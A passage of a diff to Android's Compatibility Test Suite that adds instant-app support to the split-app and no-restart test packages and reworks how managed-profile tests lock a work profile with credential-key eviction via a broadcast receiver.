boolean ephemeralPackageInfoExposed) {
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk b/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
index 23db742..656f54a 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
@@ -20,15 +20,19 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
LOCAL_PACKAGE_NAME := CtsNoRestartBase
LOCAL_SDK_VERSION := current
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_DEX_PREOPT := false
+LOCAL_SDK_VERSION := test_current
+
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml
index 7140333..a8aa042 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml
@@ -16,20 +16,21 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
package="com.android.cts.norestart"
+ android:targetSandboxVersion="2"
tools:ignore="MissingVersion" >
- <uses-sdk
- android:minSdkVersion="8"
- android:targetSdkVersion="23" />
-
<application
tools:ignore="AllowBackup,MissingApplicationIcon" >
<activity
android:name=".NoRestartActivity"
- android:launchMode="singleTop" >
+ android:launchMode="singleTop">
<intent-filter>
- <action android:name="com.android.cts.norestart.START" />
+ <action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.BROWSABLE" />
+ <data android:scheme="https" />
+ <data android:host="foo.com" />
+ <data android:path="/bar" />
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.MAIN" />
@@ -37,4 +38,8 @@
</intent-filter>
</activity>
</application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.norestart" />
+
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk b/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk
index 08fa1bd..3558eb7 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk
@@ -24,7 +24,7 @@
LOCAL_SDK_VERSION := current
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/AndroidManifest.xml
index b2fa3e8..f98cb0d 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/AndroidManifest.xml
@@ -16,13 +16,10 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
package="com.android.cts.norestart"
+ android:targetSandboxVersion="2"
split="feature"
tools:ignore="MissingVersion" >
- <uses-sdk
- android:minSdkVersion="8"
- android:targetSdkVersion="23" />
-
<application
android:allowBackup="false"
tools:ignore="MissingApplicationIcon" >
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartActivity.java b/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartActivity.java
index 26d5712..09ea8bd 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartActivity.java
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartActivity.java
@@ -16,35 +16,38 @@
package com.android.cts.norestart;
+import android.content.Intent;
+import android.os.RemoteCallback;
import com.android.cts.norestart.R;
import android.app.Activity;
-import android.content.Intent;
import android.os.Bundle;
public class NoRestartActivity extends Activity {
- private int mCreateCount;
+ private static int sCreateCount;
private int mNewIntentCount;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.no_restart_activity);
- mCreateCount++;
- sendBroadcast();
+ sCreateCount++;
+ final RemoteCallback callback = getIntent().getParcelableExtra("RESPONSE");
+ sendResponse(callback);
}
@Override
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
mNewIntentCount++;
- sendBroadcast();
+ final RemoteCallback callback = intent.getParcelableExtra("RESPONSE");
+ sendResponse(callback);
}
- private void sendBroadcast() {
- final Intent intent = new Intent("com.android.cts.norestart.BROADCAST");
- intent.putExtra("CREATE_COUNT", mCreateCount);
- intent.putExtra("NEW_INTENT_COUNT", mNewIntentCount);
- sendBroadcast(intent);
+ private void sendResponse(RemoteCallback callback) {
+ final Bundle payload = new Bundle();
+ payload.putInt("CREATE_COUNT", sCreateCount);
+ payload.putInt("NEW_INTENT_COUNT", mNewIntentCount);
+ callback.sendResult(payload);
}
}
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartTest.java b/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartTest.java
new file mode 100644
index 0000000..7c9dc2c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartTest.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.norestart;
+
+import android.content.Intent;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class NoRestartTest {
+ @Test
+ public void testPokeFullApp() {
+ final Intent intent = new Intent();
+ intent.setClassName("com.android.cts.splitapp", "com.android.cts.splitapp.MyActivity");
+ intent.addCategory(Intent.CATEGORY_DEFAULT);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ InstrumentationRegistry.getContext().startActivity(intent);
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
index a0a8080..c63bcb6 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
@@ -30,7 +30,7 @@
LOCAL_PACKAGE_SPLITS := mdpi-v4 hdpi-v4 xhdpi-v4 xxhdpi-v4 v7 fr de
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
@@ -40,6 +40,8 @@
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_DEX_PREOPT := false
+LOCAL_SDK_VERSION := test_current
+
include $(BUILD_CTS_SUPPORT_PACKAGE)
@@ -60,7 +62,7 @@
LOCAL_PACKAGE_SPLITS := v7
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_MANIFEST_FILE := revision/AndroidManifest.xml
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
@@ -69,6 +71,8 @@
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_DEX_PREOPT := false
+LOCAL_SDK_VERSION := test_current
+
include $(BUILD_CTS_SUPPORT_PACKAGE)
@@ -89,7 +93,7 @@
LOCAL_PACKAGE_SPLITS := v7
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
LOCAL_AAPT_FLAGS := --version-code 101 --version-name OneHundredOne --replace-version
@@ -97,6 +101,8 @@
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_DEX_PREOPT := false
+LOCAL_SDK_VERSION := test_current
+
include $(BUILD_CTS_SUPPORT_PACKAGE)
@@ -117,7 +123,7 @@
LOCAL_PACKAGE_SPLITS := v7
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundred --replace-version
@@ -125,6 +131,8 @@
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_DEX_PREOPT := false
+LOCAL_SDK_VERSION := test_current
+
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
index e9e3625..f56398e 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
@@ -15,7 +15,9 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.splitapp">
+ package="com.android.cts.splitapp"
+ android:targetSandboxVersion="2">
+
<!-- TODO(b/73365611) Remove targetSdkVersion once EncryptionApp tests
are fixed to no longer access SplitApp's data by path. -->
<uses-sdk android:minSdkVersion="21" android:targetSdkVersion="27" />
@@ -24,7 +26,7 @@
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<application android:label="SplitApp">
- <activity android:name=".MyActivity">
+ <activity android:name=".MyActivity" android:visibleToInstantApps="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
index 06901d8..46abb3c 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
@@ -30,7 +30,7 @@
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
featureOf := CtsSplitApp
featureOfApk := $(call intermediates-dir-for,APPS,$(featureOf))/package.apk
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
index 5337057..e2e059c 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
@@ -24,7 +24,7 @@
LOCAL_JAVA_RESOURCE_DIRS := raw
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
index 7fceede..ff827b9 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
@@ -24,7 +24,7 @@
LOCAL_JAVA_RESOURCE_DIRS := raw
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
index 9149930..29bc859 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
@@ -24,7 +24,7 @@
LOCAL_JAVA_RESOURCE_DIRS := raw
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
index 95d02d0..3c6cc22 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
@@ -24,7 +24,7 @@
LOCAL_JAVA_RESOURCE_DIRS := raw
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
index ad10be0..acb545f 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
@@ -24,7 +24,7 @@
LOCAL_JAVA_RESOURCE_DIRS := raw
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
index f008564..8f3b381 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
@@ -24,7 +24,7 @@
LOCAL_JAVA_RESOURCE_DIRS := raw
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
index ded5b29..76ef050 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
@@ -24,7 +24,7 @@
LOCAL_JAVA_RESOURCE_DIRS := raw
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/revision/AndroidManifest.xml
index 8e053ba..a17d470 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/revision/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision/AndroidManifest.xml
@@ -16,7 +16,8 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.splitapp"
- android:revisionCode="12">
+ android:revisionCode="12"
+ android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.CAMERA" />
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/MyActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/MyActivity.java
index 9b9f01c..cc875bd 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/MyActivity.java
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/MyActivity.java
@@ -17,6 +17,12 @@
package com.android.cts.splitapp;
import android.app.Activity;
+import android.os.Bundle;
public class MyActivity extends Activity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ finish();
+ }
}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
index 4cfd7d0..3288aca 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
@@ -19,10 +19,8 @@
import static org.xmlpull.v1.XmlPullParser.END_DOCUMENT;
import static org.xmlpull.v1.XmlPullParser.START_TAG;
-import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
-import android.content.IntentFilter;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
@@ -35,12 +33,12 @@
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.drawable.Drawable;
+import android.net.Uri;
+import android.os.Bundle;
import android.os.ConditionVariable;
import android.os.Environment;
-import android.os.ParcelFileDescriptor;
-import android.os.StatFs;
+import android.os.RemoteCallback;
import android.system.Os;
-import android.system.OsConstants;
import android.system.StructStat;
import android.test.AndroidTestCase;
import android.test.MoreAsserts;
@@ -54,7 +52,6 @@
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
-import java.io.FileDescriptor;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
@@ -309,23 +306,7 @@
}
public void testBaseInstalled() throws Exception {
- final ConditionVariable cv = new ConditionVariable();
- final BroadcastReceiver r = new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- assertEquals(1, intent.getIntExtra("CREATE_COUNT", -1));
- assertEquals(0, intent.getIntExtra("NEW_INTENT_COUNT", -1));
- cv.open();
- }
- };
- final IntentFilter filter = new IntentFilter("com.android.cts.norestart.BROADCAST");
- getContext().registerReceiver(r, filter);
- final Intent i = new Intent("com.android.cts.norestart.START");
- i.addCategory(Intent.CATEGORY_DEFAULT);
- i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- getContext().startActivity(i);
- assertTrue(cv.block(2000L));
- getContext().unregisterReceiver(r);
+ launchBaseActivity(1, 0);
}
/**
@@ -335,23 +316,27 @@
* done in {@link #testBaseInstalled()}.
*/
public void testFeatureInstalled() throws Exception {
+ launchBaseActivity(1, 1);
+ }
+
+ private void launchBaseActivity(int expectedCreateCount, int expectedNewIntentCount) {
final ConditionVariable cv = new ConditionVariable();
- final BroadcastReceiver r = new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- assertEquals(1, intent.getIntExtra("CREATE_COUNT", -1));
- assertEquals(1, intent.getIntExtra("NEW_INTENT_COUNT", -1));
- cv.open();
- }
- };
- final IntentFilter filter = new IntentFilter("com.android.cts.norestart.BROADCAST");
- getContext().registerReceiver(r, filter);
- final Intent i = new Intent("com.android.cts.norestart.START");
+
+ final Intent i = new Intent(Intent.ACTION_VIEW);
+ i.setPackage("com.android.cts.norestart");
i.addCategory(Intent.CATEGORY_DEFAULT);
+ i.addCategory(Intent.CATEGORY_BROWSABLE);
i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ i.setData(Uri.parse("https://foo.com/bar"));
+
+ i.putExtra("RESPONSE", new RemoteCallback((Bundle result) -> {
+ assertEquals(expectedCreateCount, result.getInt("CREATE_COUNT", -1));
+ assertEquals(expectedNewIntentCount, result.getInt("NEW_INTENT_COUNT", -1));
+ cv.open();
+ }));
+
getContext().startActivity(i);
assertTrue(cv.block(2000L));
- getContext().unregisterReceiver(r);
}
public void testFeatureApi() throws Exception {
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
index 212cb01..3cb0bce 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
@@ -185,6 +185,12 @@
</intent-filter>
</receiver>
+ <receiver android:name=".LockProfileReceiver">
+ <intent-filter>
+ <action android:name="com.android.cts.managedprofile.LOCK_PROFILE" />
+ </intent-filter>
+ </receiver>
+
</application>
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/LockNowTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/LockNowTest.java
deleted file mode 100644
index fd5fcd2..0000000
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/LockNowTest.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.managedprofile;
-
-import android.app.admin.DevicePolicyManager;
-
-/**
- * Test lockNow() for use in a managed profile. If called from a managed profile. lockNow() can be
- * passed a flag to evict the CE key of the profile.
- */
-public class LockNowTest extends BaseManagedProfileTest {
-
- public void testLockNowWithKeyEviction() throws InterruptedException {
- mDevicePolicyManager.lockNow(DevicePolicyManager.FLAG_EVICT_CREDENTIAL_ENCRYPTION_KEY);
- // The test that the managed profile was locked is done in the host
- }
-
-}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/LockProfileReceiver.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/LockProfileReceiver.java
new file mode 100644
index 0000000..59f13e1
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/LockProfileReceiver.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.managedprofile;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+/**
+ * Invoke lockNow() with a flag to evict the CE key of the profile. Used by the hostside test to
+ * lock the profile with key eviction. This is triggered via a broadcast instead of a normal
+ * test case, since the test process will be killed after calling lockNow() which will result in
+ * a test failure if this were run as a test case.
+ */
+public class LockProfileReceiver extends BroadcastReceiver {
+
+ private static final String ACTION_LOCK_PROFILE = "com.android.cts.managedprofile.LOCK_PROFILE";
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (ACTION_LOCK_PROFILE.equals(intent.getAction())) {
+ final DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
+ dpm.lockNow(DevicePolicyManager.FLAG_EVICT_CREDENTIAL_ENCRYPTION_KEY);
+ }
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ResetPasswordWithTokenTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ResetPasswordWithTokenTest.java
index 6487b50..4ea8f3b 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ResetPasswordWithTokenTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ResetPasswordWithTokenTest.java
@@ -40,12 +40,11 @@
}
/**
- * Set a reset password token and work challenge on the work profile, and then lock it
- * with CE evicted. This is the preparation step for {@link #testResetPasswordBeforeUnlock}
- * to put the profile in RUNNING_LOCKED state, and will be called by the hostside logic before
- * {@link #testResetPasswordBeforeUnlock} is exercised.
+ * Set a reset password token and work challenge on the work profile. This is the preparation
+ * step for {@link #testResetPasswordBeforeUnlock} and will be called by the hostside logic
+ * before it is exercised.
*/
- public void testSetupWorkProfileAndLock() {
+ public void testSetupWorkProfile() {
testSetResetPasswordToken();
// Reset password on the work profile will enable separate work challenge for it.
assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, PASSWORD0,
@@ -54,8 +53,6 @@
mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
DevicePolicyManager.PASSWORD_QUALITY_NUMERIC);
mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 6);
-
- testLockWorkProfile();
}
public void testResetPasswordBeforeUnlock() {
@@ -74,8 +71,4 @@
assertTrue(mDevicePolicyManager.setResetPasswordToken(ADMIN_RECEIVER_COMPONENT, token));
assertTrue(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
}
-
- public void testLockWorkProfile() {
- mDevicePolicyManager.lockNow(DevicePolicyManager.FLAG_EVICT_CREDENTIAL_ENCRYPTION_KEY);
- }
}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index b67ce81..2dd5a2a 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -199,8 +199,14 @@
return;
}
changeUserCredential("1234", null, mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".LockNowTest",
- "testLockNowWithKeyEviction", mProfileUserId);
+ lockProfile();
+ }
+
+ private void lockProfile() throws Exception {
+ final String cmd = "am broadcast --receiver-foreground --user " + mProfileUserId
+ + " -a com.android.cts.managedprofile.LOCK_PROFILE"
+ + " com.android.cts.managedprofile/.LockProfileReceiver";
+ getDevice().executeShellCommand(cmd);
waitUntilProfileLocked();
}
@@ -1152,8 +1158,8 @@
}
runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
- "testSetupWorkProfileAndLock", mProfileUserId);
- waitUntilProfileLocked();
+ "testSetupWorkProfile", mProfileUserId);
+ lockProfile();
runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
"testResetPasswordBeforeUnlock", mProfileUserId);
// Password needs to be in sync with ResetPasswordWithTokenTest.PASSWORD1
@@ -1179,10 +1185,7 @@
changeUserCredential(devicePassword, null, mParentUserId);
changeUserCredential(null, devicePassword, mParentUserId);
changeUserCredential(devicePassword, null, mParentUserId);
-
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
- "testLockWorkProfile", mProfileUserId);
- waitUntilProfileLocked();
+ lockProfile();
runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
"testResetPasswordBeforeUnlock", mProfileUserId);
verifyUserCredential(RESET_PASSWORD_TEST_DEFAULT_PASSWORD, mProfileUserId);
diff --git a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitApp.apk b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitApp.apk
new file mode 100644
index 0000000..6760973
--- /dev/null
